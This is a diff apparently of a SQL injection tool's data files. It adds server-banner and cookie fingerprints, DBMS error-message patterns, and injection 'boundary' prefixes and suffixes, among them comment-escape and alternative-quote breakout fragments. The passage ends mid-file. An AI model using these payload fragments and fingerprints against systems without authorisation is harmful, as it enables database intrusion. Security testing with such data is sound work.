<regexp value="Apache/2\.2\.3 \(Debian\)">
|
||||||
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
|
<info type="Linux" distrib="Debian" release="4" codename="etch"/>
|
||||||
</regexp>
|
|
||||||
|
|
||||||
<regexp value="Apache/2\.2\.6 \(Debian\)">
|
|
||||||
<info type="Linux" distrib="Debian" release="4.0" codename="etch" updated="True"/>
|
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.2\.9 \(Debian\)">
|
<regexp value="Apache/2\.2\.9 \(Debian\)">
|
||||||
<info type="Linux" distrib="Debian" release="5.0" codename="lenny"/>
|
<info type="Linux" distrib="Debian" release="5" codename="lenny"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.2\.16 \(Debian\)">
|
<regexp value="Apache/2\.2\.16 \(Debian\)">
|
||||||
<info type="Linux" distrib="Debian" release="6.0" codename="squeeze"/>
|
<info type="Linux" distrib="Debian" release="6" codename="squeeze"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.2\.22 \(Debian\)">
|
<regexp value="Apache/2\.2\.22 \(Debian\)">
|
||||||
<info type="Linux" distrib="Debian" release="7.0" codename="wheezy"/>
|
<info type="Linux" distrib="Debian" release="7" codename="wheezy"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.4\.10 \(Debian\)">
|
<regexp value="Apache/2\.4\.10 \(Debian\)">
|
||||||
<info type="Linux" distrib="Debian" release="8.0" codename="jessie"/>
|
<info type="Linux" distrib="Debian" release="8" codename="jessie"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.4\.25 \(Debian\)">
|
<regexp value="Apache/2\.4\.25 \(Debian\)">
|
||||||
<info type="Linux" distrib="Debian" release="9.0" codename="stretch"/>
|
<info type="Linux" distrib="Debian" release="9" codename="stretch"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.38 \(Debian\)">
|
||||||
|
<info type="Linux" distrib="Debian" release="10" codename="buster"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.48 \(Debian\)">
|
||||||
|
<info type="Linux" distrib="Debian" release="11" codename="bullseye"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<!-- Apache: Fedora -->
|
<!-- Apache: Fedora -->
|
||||||
@@ -293,6 +301,35 @@
|
|||||||
<info type="Linux" distrib="Fedora" release="27"/>
|
<info type="Linux" distrib="Fedora" release="27"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.33 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="28"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.34 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="29"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.39 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="30"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.41 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="31"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.43 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="32"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.46 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="33|34"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.51 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="35"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<!-- Apache: FreeBSD -->
|
<!-- Apache: FreeBSD -->
|
||||||
|
|
||||||
<regexp value="Apache/2\.0\.16 \(FreeBSD\)">
|
<regexp value="Apache/2\.0\.16 \(FreeBSD\)">
|
||||||
@@ -407,6 +444,18 @@
|
|||||||
<info type="FreeBSD" release="11.1"/>
|
<info type="FreeBSD" release="11.1"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.39 \(FreeBSD\)">
|
||||||
|
<info type="FreeBSD" release="11.3"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.51 \(FreeBSD\)">
|
||||||
|
<info type="FreeBSD" release="12.3"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.46 \(FreeBSD\)">
|
||||||
|
<info type="FreeBSD" release="13.0"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<!-- Apache: Mandrake / Mandriva -->
|
<!-- Apache: Mandrake / Mandriva -->
|
||||||
|
|
||||||
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
|
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
|
||||||
@@ -587,6 +636,10 @@
|
|||||||
<info type="Linux" distrib="Red Hat" release="Enterprise 7" codename="Maipo"/>
|
<info type="Linux" distrib="Red Hat" release="Enterprise 7" codename="Maipo"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.37 \(Red Hat\)">
|
||||||
|
<info type="Linux" distrib="Red Hat" release="Enterprise 8" codename="Ootpa"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<!-- Apache: SuSE -->
|
<!-- Apache: SuSE -->
|
||||||
|
|
||||||
<regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)">
|
<regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)">
|
||||||
@@ -714,6 +767,14 @@
|
|||||||
<info type="Linux" distrib="SuSE" release="42.2|42.3"/>
|
<info type="Linux" distrib="SuSE" release="42.2|42.3"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.33 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="15"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.43 \(Linux/SuSE\)">
|
||||||
|
<info type="Linux" distrib="SuSE" release="15.3"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<!-- Apache: Ubuntu -->
|
<!-- Apache: Ubuntu -->
|
||||||
|
|
||||||
<regexp value="Apache/2\.0\.50 \(Ubuntu\)">
|
<regexp value="Apache/2\.0\.50 \(Ubuntu\)">
|
||||||
@@ -800,6 +861,30 @@
|
|||||||
<info type="Linux" distrib="Ubuntu" release="17.10" codename="artful"/>
|
<info type="Linux" distrib="Ubuntu" release="17.10" codename="artful"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.29 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.34 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="18.10" codename="cosmic"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.38 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="19.04" codename="disco"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.41 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="19.10|20.04|20.10" codename="eoan|focal"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.46 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="21.04|21.10" codename="hirsute|impish"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.52 \(Ubuntu\)">
|
||||||
|
<info type="Linux" distrib="Ubuntu" release="22.04" codename="jammy"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<!-- Nginx -->
|
<!-- Nginx -->
|
||||||
|
|
||||||
<regexp value="nginx$">
|
<regexp value="nginx$">
|
||||||
|
|||||||
@@ -62,4 +62,32 @@
|
|||||||
<regexp value="\bwp_">
|
<regexp value="\bwp_">
|
||||||
<info technology="WordPress"/>
|
<info technology="WordPress"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="_session_id">
|
||||||
|
<info technology="Ruby on Rails"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="sessionid">
|
||||||
|
<info technology="Django"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="connect\.sid">
|
||||||
|
<info technology="Node.js (Express)"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="laravel_session">
|
||||||
|
<info technology="Laravel"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="SESS[a-f0-9]{32}">
|
||||||
|
<info technology="Drupal"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="joomla_[a-z0-9]+">
|
||||||
|
<info technology="Joomla"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="sails\.sid">
|
||||||
|
<info technology="Sails.js"/>
|
||||||
|
</regexp>
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
@@ -19,6 +19,22 @@
|
|||||||
<info technology="EasyEngine" tech_version="1"/>
|
<info technology="EasyEngine" tech_version="1"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Phusion Passenger ([\d\.]+)">
|
||||||
|
<info technology="Phusion Passenger" tech_version="1"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Craft CMS">
|
||||||
|
<info technology="Craft CMS"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Express">
|
||||||
|
<info technology="Express"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="WP Engine">
|
||||||
|
<info technology="WP Engine"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<regexp value="PleskLin">
|
<regexp value="PleskLin">
|
||||||
<info technology="Plesk" type="Linux"/>
|
<info technology="Plesk" type="Linux"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
@@ -46,4 +62,8 @@
|
|||||||
<regexp value="Servlet[\-\_\/\ ]?([\d\.]+)">
|
<regexp value="Servlet[\-\_\/\ ]?([\d\.]+)">
|
||||||
<info technology="Servlet" tech_version="1"/>
|
<info technology="Servlet" tech_version="1"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Laravel">
|
||||||
|
<info technology="Laravel"/>
|
||||||
|
</regexp>
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
+77
-60
@@ -55,6 +55,8 @@ Tag: <boundary>
|
|||||||
4: Double quoted string
|
4: Double quoted string
|
||||||
5: LIKE double quoted string
|
5: LIKE double quoted string
|
||||||
6: Identifier (e.g. column name)
|
6: Identifier (e.g. column name)
|
||||||
|
7: Block comment
|
||||||
|
8: Alternative quoted string (e.g. PostgreSQL $$...$$, Oracle q'[...]')
|
||||||
|
|
||||||
Sub-tag: <prefix>
|
Sub-tag: <prefix>
|
||||||
A string to prepend to the payload.
|
A string to prepend to the payload.
|
||||||
@@ -213,6 +215,15 @@ Formats:
|
|||||||
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
|
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
|
||||||
</boundary>
|
</boundary>
|
||||||
|
|
||||||
|
<boundary>
|
||||||
|
<level>2</level>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1,2</where>
|
||||||
|
<ptype>3</ptype>
|
||||||
|
<prefix>%'</prefix>
|
||||||
|
<suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
|
||||||
|
</boundary>
|
||||||
|
|
||||||
<boundary>
|
<boundary>
|
||||||
<level>2</level>
|
<level>2</level>
|
||||||
<clause>1</clause>
|
<clause>1</clause>
|
||||||
@@ -333,14 +344,6 @@ Formats:
|
|||||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
</boundary>
|
</boundary>
|
||||||
|
|
||||||
<boundary>
|
|
||||||
<level>5</level>
|
|
||||||
<clause>9</clause>
|
|
||||||
<where>1,2</where>
|
|
||||||
<ptype>2</ptype>
|
|
||||||
<prefix>") WHERE [RANDNUM]=[RANDNUM]</prefix>
|
|
||||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
|
||||||
</boundary>
|
|
||||||
|
|
||||||
<boundary>
|
<boundary>
|
||||||
<level>4</level>
|
<level>4</level>
|
||||||
@@ -405,41 +408,6 @@ Formats:
|
|||||||
<suffix>)+'</suffix>
|
<suffix>)+'</suffix>
|
||||||
</boundary>
|
</boundary>
|
||||||
|
|
||||||
<boundary>
|
|
||||||
<level>5</level>
|
|
||||||
<clause>9</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<ptype>2</ptype>
|
|
||||||
<prefix>||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
|
|
||||||
<suffix>)||</suffix>
|
|
||||||
</boundary>
|
|
||||||
|
|
||||||
<boundary>
|
|
||||||
<level>5</level>
|
|
||||||
<clause>9</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<ptype>2</ptype>
|
|
||||||
<prefix>||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
|
|
||||||
<suffix>)||</suffix>
|
|
||||||
</boundary>
|
|
||||||
|
|
||||||
<boundary>
|
|
||||||
<level>5</level>
|
|
||||||
<clause>9</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<ptype>1</ptype>
|
|
||||||
<prefix>+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
|
|
||||||
<suffix>)+</suffix>
|
|
||||||
</boundary>
|
|
||||||
|
|
||||||
<boundary>
|
|
||||||
<level>5</level>
|
|
||||||
<clause>9</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<ptype>2</ptype>
|
|
||||||
<prefix>+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
|
|
||||||
<suffix>)+</suffix>
|
|
||||||
</boundary>
|
|
||||||
<!-- End of pre-WHERE generic boundaries -->
|
<!-- End of pre-WHERE generic boundaries -->
|
||||||
|
|
||||||
<!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->
|
<!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->
|
||||||
@@ -452,14 +420,6 @@ Formats:
|
|||||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
</boundary>
|
</boundary>
|
||||||
|
|
||||||
<boundary>
|
|
||||||
<level>5</level>
|
|
||||||
<clause>1</clause>
|
|
||||||
<where>1,2</where>
|
|
||||||
<ptype>2</ptype>
|
|
||||||
<prefix>")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
|
|
||||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
|
||||||
</boundary>
|
|
||||||
|
|
||||||
<boundary>
|
<boundary>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
@@ -501,21 +461,25 @@ Formats:
|
|||||||
<level>4</level>
|
<level>4</level>
|
||||||
<clause>1</clause>
|
<clause>1</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<ptype>1</ptype>
|
<ptype>6</ptype>
|
||||||
<prefix>` WHERE [RANDNUM]=[RANDNUM]</prefix>
|
<prefix>` WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
</boundary>
|
</boundary>
|
||||||
|
|
||||||
<boundary>
|
|
||||||
<level>5</level>
|
|
||||||
<clause>1</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<ptype>1</ptype>
|
|
||||||
<prefix>`) WHERE [RANDNUM]=[RANDNUM]</prefix>
|
|
||||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
|
||||||
</boundary>
|
|
||||||
<!-- End of pre-WHERE derived table boundaries -->
|
<!-- End of pre-WHERE derived table boundaries -->
|
||||||
|
|
||||||
|
<!-- Block-comment escape: injection point sits INSIDE /* ... */ (e.g. a query tag / trace / tenant
|
||||||
|
annotation). '*/' terminates the app comment, the test runs, '/*' re-opens a comment that the
|
||||||
|
app's original '*/' closes. Inert (stays inside the literal) when the value is not in a comment. -->
|
||||||
|
<boundary>
|
||||||
|
<level>4</level>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>1,2</where>
|
||||||
|
<ptype>7</ptype>
|
||||||
|
<prefix>*/</prefix>
|
||||||
|
<suffix>/*</suffix>
|
||||||
|
</boundary>
|
||||||
|
|
||||||
<!-- Escaped column name (e.g. SELECT `...` FROM table) boundaries -->
|
<!-- Escaped column name (e.g. SELECT `...` FROM table) boundaries -->
|
||||||
<boundary>
|
<boundary>
|
||||||
<level>4</level>
|
<level>4</level>
|
||||||
@@ -545,6 +509,15 @@ Formats:
|
|||||||
</boundary>
|
</boundary>
|
||||||
<!-- End of escaped column name boundaries -->
|
<!-- End of escaped column name boundaries -->
|
||||||
|
|
||||||
|
<boundary>
|
||||||
|
<level>5</level>
|
||||||
|
<clause>7</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<ptype>6</ptype>
|
||||||
|
<prefix> [RANDSTR1],</prefix>
|
||||||
|
<suffix> [RANDSTR2]</suffix>
|
||||||
|
</boundary>
|
||||||
|
|
||||||
<!-- AGAINST boolean full-text search boundaries (http://dev.mysql.com/doc/refman/5.5/en/fulltext-boolean.html) -->
|
<!-- AGAINST boolean full-text search boundaries (http://dev.mysql.com/doc/refman/5.5/en/fulltext-boolean.html) -->
|
||||||
<boundary>
|
<boundary>
|
||||||
<level>4</level>
|
<level>4</level>
|
||||||
@@ -555,4 +528,48 @@ Formats:
|
|||||||
<suffix>#</suffix>
|
<suffix>#</suffix>
|
||||||
</boundary>
|
</boundary>
|
||||||
<!-- End of AGAINST boolean full-text search boundaries -->
|
<!-- End of AGAINST boolean full-text search boundaries -->
|
||||||
|
|
||||||
|
<!-- Alternative quoted string delimiters where ' and " have no terminating effect:
|
||||||
|
PostgreSQL $$...$$ dollar quoting, Oracle q'[...]' / q'{...}' / q'(...)' / q'<...>'. -->
|
||||||
|
<boundary>
|
||||||
|
<level>5</level>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1,2</where>
|
||||||
|
<ptype>8</ptype>
|
||||||
|
<prefix>$$</prefix>
|
||||||
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
|
</boundary>
|
||||||
|
<boundary>
|
||||||
|
<level>5</level>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1,2</where>
|
||||||
|
<ptype>8</ptype>
|
||||||
|
<prefix>]'</prefix>
|
||||||
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
|
</boundary>
|
||||||
|
<boundary>
|
||||||
|
<level>5</level>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1,2</where>
|
||||||
|
<ptype>8</ptype>
|
||||||
|
<prefix>}'</prefix>
|
||||||
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
|
</boundary>
|
||||||
|
<boundary>
|
||||||
|
<level>5</level>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1,2</where>
|
||||||
|
<ptype>8</ptype>
|
||||||
|
<prefix>)'</prefix>
|
||||||
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
|
</boundary>
|
||||||
|
<boundary>
|
||||||
|
<level>5</level>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1,2</where>
|
||||||
|
<ptype>8</ptype>
|
||||||
|
<prefix>>'</prefix>
|
||||||
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
|
</boundary>
|
||||||
|
<!-- End of alternative quoted string boundaries -->
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
+75
-11
@@ -2,6 +2,9 @@
|
|||||||
|
|
||||||
<root>
|
<root>
|
||||||
<dbms value="MySQL">
|
<dbms value="MySQL">
|
||||||
|
<error regexp="org\.apache\.doris\." fork="Doris"/>
|
||||||
|
<error regexp="com\.starrocks\." fork="StarRocks"/>
|
||||||
|
<error regexp="Getting syntax error (at|from) line \d+, column \d+" fork="StarRocks"/>
|
||||||
<error regexp="SQL syntax.*?MySQL"/>
|
<error regexp="SQL syntax.*?MySQL"/>
|
||||||
<error regexp="Warning.*?\Wmysqli?_"/>
|
<error regexp="Warning.*?\Wmysqli?_"/>
|
||||||
<error regexp="MySQLSyntaxErrorException"/>
|
<error regexp="MySQLSyntaxErrorException"/>
|
||||||
@@ -9,31 +12,44 @@
|
|||||||
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
|
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
|
||||||
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
|
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
|
||||||
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
|
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
|
||||||
|
<error regexp="check the manual that (corresponds to|fits) your TiDB server version" fork="TiDB"/>
|
||||||
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
||||||
<error regexp="MySqlClient\."/>
|
<error regexp="MySqlClient\."/>
|
||||||
<error regexp="com\.mysql\.jdbc"/>
|
<error regexp="com\.mysql\.jdbc"/>
|
||||||
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
|
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
|
||||||
<error regexp="Pdo[./_\\]Mysql"/>
|
<error regexp="Pdo[./_\\]Mysql"/>
|
||||||
<error regexp="MySqlException"/>
|
<error regexp="MySqlException"/>
|
||||||
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
|
<error regexp="pymysql\.err\."/>
|
||||||
|
<error regexp="MySQLdb\.(_exceptions\.|\w+Error)"/>
|
||||||
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
|
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
|
||||||
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
|
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
|
||||||
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
|
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="PostgreSQL">
|
<dbms value="PostgreSQL">
|
||||||
|
<error regexp="crdb_internal\." fork="CockroachDB"/>
|
||||||
|
<error regexp="github\.com/cockroachdb/cockroach/pkg/sql" fork="CockroachDB"/>
|
||||||
|
<error regexp="com\.yugabyte\.(util\.PSQLException|core\.v3)" fork="YugabyteDB"/>
|
||||||
|
<error regexp="\(yb/\w+/\w+\.cc:\d+\)" fork="YugabyteDB"/>
|
||||||
|
<error regexp="org\.opengauss\.(util\.PSQLException|core\.v3)" fork="OpenGauss"/>
|
||||||
|
<error regexp="(duckdb\.duckdb|_duckdb)\.(Parser|Binder|Catalog|Conversion)Exception" fork="DuckDB"/>
|
||||||
|
<error regexp="org\.duckdb\.DuckDB" fork="DuckDB"/>
|
||||||
|
<error regexp="Parser Error: [^\n]{0,40}at or near" fork="DuckDB"/>
|
||||||
|
<error regexp="(Catalog Error: Table with name|Binder Error: Referenced column)" fork="DuckDB"/>
|
||||||
<error regexp="PostgreSQL.*?ERROR"/>
|
<error regexp="PostgreSQL.*?ERROR"/>
|
||||||
<error regexp="Warning.*?\Wpg_"/>
|
<error regexp="Warning.*?\Wpg_"/>
|
||||||
<error regexp="valid PostgreSQL result"/>
|
<error regexp="valid PostgreSQL result"/>
|
||||||
<error regexp="Npgsql\."/>
|
<error regexp="Npgsql\."/>
|
||||||
<error regexp="PG::SyntaxError:"/>
|
<error regexp="PG::SyntaxError:"/>
|
||||||
<error regexp="org\.postgresql\.util\.PSQLException"/>
|
<error regexp="org\.postgresql\.util\.PSQLException"/>
|
||||||
<error regexp="ERROR:\s\ssyntax error at or near"/>
|
<error regexp="ERROR:\s+syntax error at or near"/>
|
||||||
<error regexp="ERROR: parser: parse error at or near"/>
|
<error regexp="ERROR: parser: parse error at or near"/>
|
||||||
<error regexp="PostgreSQL query failed"/>
|
<error regexp="PostgreSQL query failed"/>
|
||||||
<error regexp="org\.postgresql\.jdbc"/>
|
<error regexp="org\.postgresql\.jdbc"/>
|
||||||
<error regexp="Pdo[./_\\]Pgsql"/>
|
<error regexp="Pdo[./_\\]Pgsql"/>
|
||||||
<error regexp="PSQLException"/>
|
<error regexp="PSQLException"/>
|
||||||
|
<error regexp="psycopg2?\.(errors\.|\w+Error)"/>
|
||||||
|
<error regexp="asyncpg\.(exceptions\.|\w+Error)"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="Microsoft SQL Server">
|
<dbms value="Microsoft SQL Server">
|
||||||
@@ -42,7 +58,7 @@
|
|||||||
<error regexp="\bSQL Server[^<"]+Driver"/>
|
<error regexp="\bSQL Server[^<"]+Driver"/>
|
||||||
<error regexp="Warning.*?\W(mssql|sqlsrv)_"/>
|
<error regexp="Warning.*?\W(mssql|sqlsrv)_"/>
|
||||||
<error regexp="\bSQL Server[^<"]+[0-9a-fA-F]{8}"/>
|
<error regexp="\bSQL Server[^<"]+[0-9a-fA-F]{8}"/>
|
||||||
<error regexp="System\.Data\.SqlClient\.SqlException"/>
|
<error regexp="System\.Data\.SqlClient\.(SqlException|SqlConnection\.OnError)"/>
|
||||||
<error regexp="(?s)Exception.*?\bRoadhouse\.Cms\."/>
|
<error regexp="(?s)Exception.*?\bRoadhouse\.Cms\."/>
|
||||||
<error regexp="Microsoft SQL Native Client error '[0-9a-fA-F]{8}"/>
|
<error regexp="Microsoft SQL Native Client error '[0-9a-fA-F]{8}"/>
|
||||||
<error regexp="\[SQL Server\]"/>
|
<error regexp="\[SQL Server\]"/>
|
||||||
@@ -55,6 +71,7 @@
|
|||||||
<error regexp="com\.microsoft\.sqlserver\.jdbc"/>
|
<error regexp="com\.microsoft\.sqlserver\.jdbc"/>
|
||||||
<error regexp="Pdo[./_\\](Mssql|SqlSrv)"/>
|
<error regexp="Pdo[./_\\](Mssql|SqlSrv)"/>
|
||||||
<error regexp="SQL(Srv|Server)Exception"/>
|
<error regexp="SQL(Srv|Server)Exception"/>
|
||||||
|
<error regexp="Unclosed quotation mark after the character string"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="Microsoft Access">
|
<dbms value="Microsoft Access">
|
||||||
@@ -77,13 +94,15 @@
|
|||||||
<error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
|
<error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
|
||||||
<error regexp="Pdo[./_\\](Oracle|OCI)"/>
|
<error regexp="Pdo[./_\\](Oracle|OCI)"/>
|
||||||
<error regexp="OracleException"/>
|
<error regexp="OracleException"/>
|
||||||
|
<error regexp="cx_Oracle\.\w+Error"/>
|
||||||
|
<error regexp="oracledb\.(exceptions\.|\w+Error)"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="IBM DB2">
|
<dbms value="IBM DB2">
|
||||||
<error regexp="CLI Driver.*?DB2"/>
|
<error regexp="CLI Driver.*?DB2"/>
|
||||||
<error regexp="DB2 SQL error"/>
|
<error regexp="DB2 SQL error"/>
|
||||||
<error regexp="\bdb2_\w+\("/>
|
<error regexp="\bdb2_\w+\("/>
|
||||||
<error regexp="SQLSTATE.+SQLCODE"/>
|
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
|
||||||
<error regexp="com\.ibm\.db2\.jcc"/>
|
<error regexp="com\.ibm\.db2\.jcc"/>
|
||||||
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
||||||
<error regexp="Pdo[./_\\]Ibm"/>
|
<error regexp="Pdo[./_\\]Ibm"/>
|
||||||
@@ -104,7 +123,7 @@
|
|||||||
|
|
||||||
<!-- Interbase/Firebird -->
|
<!-- Interbase/Firebird -->
|
||||||
<dbms value="Firebird">
|
<dbms value="Firebird">
|
||||||
<error regexp="Dynamic SQL Error"/>
|
<error regexp="Dynamic SQL Error.{1,10}SQL error code"/>
|
||||||
<error regexp="Warning.*?\Wibase_"/>
|
<error regexp="Warning.*?\Wibase_"/>
|
||||||
<error regexp="org\.firebirdsql\.jdbc"/>
|
<error regexp="org\.firebirdsql\.jdbc"/>
|
||||||
<error regexp="Pdo[./_\\]Firebird"/>
|
